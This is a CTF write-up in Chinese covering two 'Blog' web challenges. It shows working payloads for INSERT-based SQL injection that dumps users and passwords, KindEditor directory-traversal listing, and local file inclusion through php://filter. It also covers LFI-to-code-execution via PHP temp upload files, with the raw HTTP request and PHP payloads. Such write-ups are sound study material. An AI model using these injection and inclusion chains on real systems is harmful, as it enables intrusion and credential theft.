Blog专题

blog简易篇

登录注册

  • 对于只有一个登录框的题目,很有可能是注入或者绕过
  • 但对于有登录和注册两个页面的题目,这里至少就有四个输入点,并不建议直接测试注入,先注册一个登录上去看看是首选

注册完对整站大概浏览,加上扫描,已知目录如下:

.
├── index.php
├── login.php
├── logout.php
├── register.php
├── config.php
├── user.php
├── post.php
├── robots.txt
└── flag.php

KindEditor

在发博客的post.php处查看到编辑器的信息:KindEditor 4.1.10 (2013-11-23),找到如下两个看起来比较好利用的漏洞:

测试目录浏览的漏洞可以利用,文件上传的漏洞所需的/php/upload_json.php文件不存在。利用如下路径可以以读到整个web服务的目录情况:

http://7e1c27743e894a3ca9d29c0440a07b5a33a0186c4d5e41da.game.ichunqiu.com/kindeditor/php/file_manager_json.php?path=../../

现在了解的目录结构如下:

.
├── index.php
├── login.php
├── logout.php
├── register.php
├── config.php
├── user.php
├── post.php
├── robots.txt
├── blog_manage/
│   ├── article_manage.php
│   └── manager.php
└── kindeditor/

  • 访问article_manage.php服务器相应500
  • 访问manager.php提示登录

注入点

测试注入

现在可能有存在有注入点的地方有:

  • 登录2处
  • 注册2处
  • 发博客2处

最终测试发博客的两处加上单引号都会提示:Something wrong happened!,很有可能有注入点。但最终的回显只能在博客首页查看,所以sqlmap也许无法工作。这里提交只能看出sql语句是否被成功执行,也许可以采取基于时间的盲注,但这里sql利用的语法比较奇怪,sqlmap应该是无法得出存在注入的结果。在博客正文输入处测试如下:


a'or'1'='1    ->  1
a'or'1'='2    ->  0
a'and'1'='1   ->  0
a'and'1'='2   ->  0

盲注?报错?联合查询?

  • 这里如果只利用盲注的话未免太慢了,还是想办法带出数据为好
  • 但是又没有输出报错信息,只有Something wrong happened!,无法进行报错注入
  • 这是一个发博客的逻辑,应该不是select语句,无法联合查询

INSERT注入

因为这里是实现了一个发博客的功能,所以应该是把我们所提交的内容插入给数据库,猜测语句大概如下:

insert into article (date, title, content) values ('2018-03-21','inject here','content');

这里的利用方式有如下两种:

插入元素拼接

[payload]:   1','2'),(user(),'

[sql]:       insert into article (date, title, content) values ('2018-03-21','1','2'),(user(),'','content');

[decode]:    select unhex(conv(125822936825964,10,16));

这样实际上就多了一条插入的记录,可以在下一条记录的相应的位置卡看到相应的数据,但采取此种方式注入,要先测验处字段数目以及那些字段的值最后是可见的。

首先检查后字段数目:

0')#
0','1')#
0','1','2')#

假如0','1')#成功,则本字段后面有1个字段,再检查 前字段:

0','1'),('
0','1'),('1','
0','1'),('1','2','
0','1'),('1','2','3','

假如0','1'),('1','2','成功,则本字段前面有2个字段,总字段就是2+1+1=4,可以利用的是就是这两个前字段,因为本字段仍需被单引号闭合,后面是语句中固定,无法利用。例如:

insert into article (date, title, content) values ('2018-03-21','inject here','content');

注入点是第二个字段,如果第一个字段的内容无法查看,也就不能采取这种方式利用了。

转换字符串为数字

参考:一种新的MySQL下Update、Insert注入方法

[payload]:  '+conv(hex(substr((user()),1,6),16,10)+'

[sql]:      insert into article (data, title, content) values ('2018-03-21',''+conv(hex(substr((user()),1,6),16,10)+'','content');

原理:由于在mysql中想要拼接字符串只能使用concat()函数,而使用or,and,+,|,&, ^ 都会变为数字运算或逻辑运算:

mysql> select ('ab'+10),('ab'&10),('ab'^10),('ab'|10),('ab'||10),('ab' and 10),('ab' or '10');
+-----------+-----------+-----------+-----------+------------+---------------+----------------+
| ('ab'+10) | ('ab'&10) | ('ab'^10) | ('ab'|10) | ('ab'||10) | ('ab' and 10) | ('ab' or '10') |
+-----------+-----------+-----------+-----------+------------+---------------+----------------+
| 10        | 0         | 10        | 10        | 1          | 0             | 1              |
+-----------+-----------+-----------+-----------+------------+---------------+----------------+

可见无法将’ab’的相关信息算入表达式中,但是采取hex()函数转换即可将字符串转换为十六进制数字

mysql> select ''+hex('ab');
+--------------+
| ''+hex('ab') |
+--------------+
| 6162         |
+--------------+
1 rows in set (0.02 sec)

但是当hex()函数的参数字符串过长时可能无法显示:

mysql> select ''+hex(user());
+----------------+
| ''+hex(user()) |
+----------------+
| 726            |
+----------------+
1 rows in set (0.05 sec)

mysql> select hex(user());
+------------------------------+
| hex(user())                  |
+------------------------------+
| 726F6F74406C6F63616C686F7374 |
+------------------------------+
1 rows in set (0.01 sec)

所以采取先将字符串截取,在将十六进制转化为十进制的方法来解决这个问题,然后将的到的数字再转换回去即可

mysql> select ''+conv(hex(substr(user(),1,6)),16,10);
+----------------------------------------+
| ''+conv(hex(substr(user(),1,6)),16,10) |
+----------------------------------------+
| 125822936825964                        |
+----------------------------------------+
1 rows in set (0.10 sec)

mysql> select unhex(conv(125822936825964,10,16));
+------------------------------------+
| unhex(conv(125822936825964,10,16)) |
+------------------------------------+
| root@l                             |
+------------------------------------+
1 rows in set (0.11 sec)

利用注入

如果利用第一种方式进行注入,那么标题字段应该正文字段前,所以注入点是正文字段,输出是标题字段。在正文处如下测试,标题显示2

0','1'),('1','2','

可见总共四个字段(1+标题+正文+4),正文注入,标题输出。最终payload如下:

0','1'),('111',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'

0','1'),('222',(select group_concat(column_name) from information_schema.columns where table_name='users'),'

0','1'),('333',(select username from users limit 0,1),'

0','1'),('444',(select password from users limit 0,1),'

注意:这里会检查每一条记录的第一个字段,如果重复将执行失败,因为当我复制上一句一模一样的语句居然会执行失败,刚开始我也很奇怪,直到后来注册用户名重复时也提示something wrong我才反应过来,就这一句提示啊!!!坑死了。所以每条我都改成了111,222,333才能执行成功。最终的到用户名密码

admin dbb616c5d935d8f34c12c291066d6fb7
admin melody123

文件包含

拿着管理员的用户名密码登录,于是可以访问到:

http://225161df71684d5286170732c32356bc29b8cd3b3e3344f9.game.ichunqiu.com/blog_manage/manager.php?module=article_manage&name=php

典型文件包含,尝试php伪协议读flag,解码读flag

http://225161df71684d5286170732c32356bc29b8cd3b3e3344f9.game.ichunqiu.com/blog_manage/manager.php?module=php://filter/read=convert.base64-encode/resource=../flag.php&name=

blog进阶篇

仔细回顾上面那道题并没有用到KindEditor的目录浏览漏洞,进阶篇该用上了

注入点

管理员用户密码还是直接用刚才的方法打:

admin 3177d917a0053c6161207e733c84356d
admin 19-10-1997

文件包含

参考:LFI漏洞利用总结

显然这里文件包含使用伪协议是没用的,也尝试了用注入点去写木马,同样没有成功。那让我们回顾一下文件包含的神奇作用吧,简单分成两大类:读取和命令执行

读取

读源码
  • include()
  • require()

可以通过php伪协议读取源码:

php://filter/read=convert.base64-encode/resource=index.php

allow_url_fopen与allow_url_include,只是保护了http(s)和ftp(s)但是并没有影响php或date(new in php5.2.0)urls这些url形式。所以禁止使用php伪协议一般的方式是在参数字符串前拼接路径./

读取敏感文件
  • 日志
  • 配置文件
  • etc/passwd
  • .htaccess

命令执行

包含文件
  • 上传文件,如果用文件包含漏洞执行的话,不需要后缀为php
  • 日志文件,可在日志中留下可执行的php代码,然后包含
  • session文件,session文件中一般包含用户名,如果过滤不当也可以留下php代码
  • 通过注入点写文件,然后包含
  • LFI with PHPInfo,通过POST提交的数据,会在/tmp/目录下生成缓存文件,不过很快会被删
伪协议

参考:php伪协议实现命令执行的七种姿势

php缓存

LFI with PHPInfo

本题实际上类似LFI with PHPInfo,参考:

该思路的原理是:PHP在以enctype=multipart/form-data方式POST文件时,不论POST到哪个文件,PHP都会在临时目录中生成一个临时文件名,然后调用脚本处理该临时文件,最后删除这个临时文件于是乎新的攻击思路成形了:可以POST到phpinfo.php文件,这样可以直接获得临时文件的路径和名称,然后在PHP删除临时文件之前包含这个临时文件即可。这里最麻烦的是如何在临时文件被删除之前包含它通常有这么几种考虑:

  1. 上传大文件,这样PHP的处理就会变慢,经过实际测试,大概3M左右的时候就可以肉眼看到生成的临时文件了,虽然会很快被删除,但是这里确实能看到从生成到删除的全过程了

  2. 通过大量请求来延迟PHP脚本的处理速度

KindEditor目录浏览利用

可见要利用phpinfo()是为了获取/tmp/目录下的文件名,而利用KindEditor目录浏览就直接可以获得文件名,也就是说我不用必须POST给phpinfo。而且当我们可以直接看到/tmp/目录下时,有一种更好的方式去留住缓存文件,而不用脚本跑多线程,那就是自包含!

参考:百度杯12月第四场Blog进阶版解题过程记录

当我们以enctype=multipart/form-data方式POST给一个自包含的url时,这个POST的缓存文件会因为php守护进程产生内存溢出而保留下来,那么就可以利用KindEditor目录浏览/tmp/目录获取文件名,再去包含,即可流程如下:

1.先观察一下tmp目录下,空的,而且除了/tmp/和/var/www/html/剩下的路径都无法通过这个漏洞查看到。

http://a0a4658b4ffd4fd18c31e517298bdab2354db44e8a76409e.game.ichunqiu.com/kindeditor/php/file_manager_json.php?path=../../../../../../../tmp/



/var/www/html/kindeditor/attached/../../../../../../../tmp/{"moveup_dir_path":"..\/..\/..\/..\/..\/..\/..\/","current_dir_path":"..\/..\/..\/..\/..\/..\/..\/tmp\/","current_url":"\/kindeditor\/php\/..\/attached\/..\/..\/..\/..\/..\/..\/..\/tmp\/","total_count":0,"file_list":[]}

2.POST给blog_manage/manager.php?module=manager&name=php

构造一个上传页面:


<body>
    <form name="uploadform" method="POST" enctype="multipart/form-data" action="http://a0a4658b4ffd4fd18c31e517298bdab2354db44e8a76409e.game.ichunqiu.com/blog_manage/manager.php?module=manager&name=php">
        uploadfile1:<input type="file" name="file1" size="30" />
        <input type="submit" name="submit" value="submit">
    </form>
</body>
POST /blog_manage/manager.php?module=manager&name=php HTTP/1.1
Host: a0a4658b4ffd4fd18c31e517298bdab2354db44e8a76409e.game.ichunqiu.com
Proxy-Connection: keep-alive
Content-Length: 301
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5Do6jxgpB9iSAysY
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,da;q=0.8
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; UM_distinctid=16247d7d097356-0eaa2ac7f9faa6-33657804-fa000-16247d7d0987dc; pgv_pvi=83799040; pgv_si=s3807689728; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1521344425,1521605028,1521605097,1521606149; Hm_lvt_9104989ce242a8e03049eaceca950328=1519450148,1521344434; Hm_lpvt_9104989ce242a8e03049eaceca950328=1521623759; Hm_lvt_1a32f7c660491887db0960e9c314b022=1519450148,1521344434; Hm_lpvt_1a32f7c660491887db0960e9c314b022=1521623759; browse=CFlZTxUYU0BfU1FGVQJTRFBZSkdeQFFYWVBFR11RWEVTUFFPWkBLThQ; ci_session=dae562b72bd97d0b9d72b0d661328ef64677d85a; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1521696264; PHPSESSID=s3f94o7e9ijral16iguv7ou1s0

------WebKitFormBoundary5Do6jxgpB9iSAysY
Content-Disposition: form-data; name="file1"; filename="phpinfo.php"
Content-Type: text/php

<?php phpinfo();?>
------WebKitFormBoundary5Do6jxgpB9iSAysY
Content-Disposition: form-data; name="submit"

submit
------WebKitFormBoundary5Do6jxgpB9iSAysY--

3.再先观察一下tmp目录下(我上传了两次)

/var/www/html/kindeditor/attached/../../../../../tmp/{"moveup_dir_path":"..\/..\/..\/..\/..\/","current_dir_path":"..\/..\/..\/..\/..\/tmp\/","current_url":"\/kindeditor\/php\/..\/attached\/..\/..\/..\/..\/..\/tmp\/","total_count":2,"file_list":[{"is_dir":false,"has_file":false,"filesize":18,"dir_path":"","is_photo":false,"filetype":"","filename":"phpTkgIzO","datetime":"2018-03-22 10:05:48"},{"is_dir":false,"has_file":false,"filesize":18,"dir_path":"","is_photo":false,"filetype":"","filename":"phpUUzi3T","datetime":"2018-03-22 10:07:17"}]}

可观察到phpUUzi3T和phpTkgIzO两个文件

4.利用文件包含执行

http://a0a4658b4ffd4fd18c31e517298bdab2354db44e8a76409e.game.ichunqiu.com/blog_manage/manager.php?module=../../../../../../../../tmp/phpTkgIzO&name=

发现丧心病狂的禁用了如下函数:

exec,passthru,shell_exec,assert,eval,glob,imageftbbox,bindtextdomain,mkdir,dir, system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,symlink,chgrp,chmod,chown,dl,mail,readlink,stream_socket_server,fsocket, imap_mail,apache_child_terminate,posix_kill,proc_terminate,proc_get_status,syslog,openlog,ini_alter,chroot,fread,fgets,fgetss,file,readfile, ini_set,ini_restore,putenv,apache_setenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,file_get_contents,fpassthru,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,fputs,unlink, pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority, pcntl_setpriority   

基本的命令执都没法用了,我们的目的是读取网站路径下的flag.php文件,想到跟文件有关的函数,发现show_source()函数没有被禁,于是修改php文件,重新上传并包含,得到flag

<?php show_source('/var/www/html/flag.php')?>

总结

  • phpinfo+LFI:可以用自包含来留下缓存文件,但是我们没法知道缓存文件的名字,所以是还是需要POST给phpinfo,然后多线程在删除文件之前包含进来

  • /tmp/目录+LFI: 可以自包含,然后getshell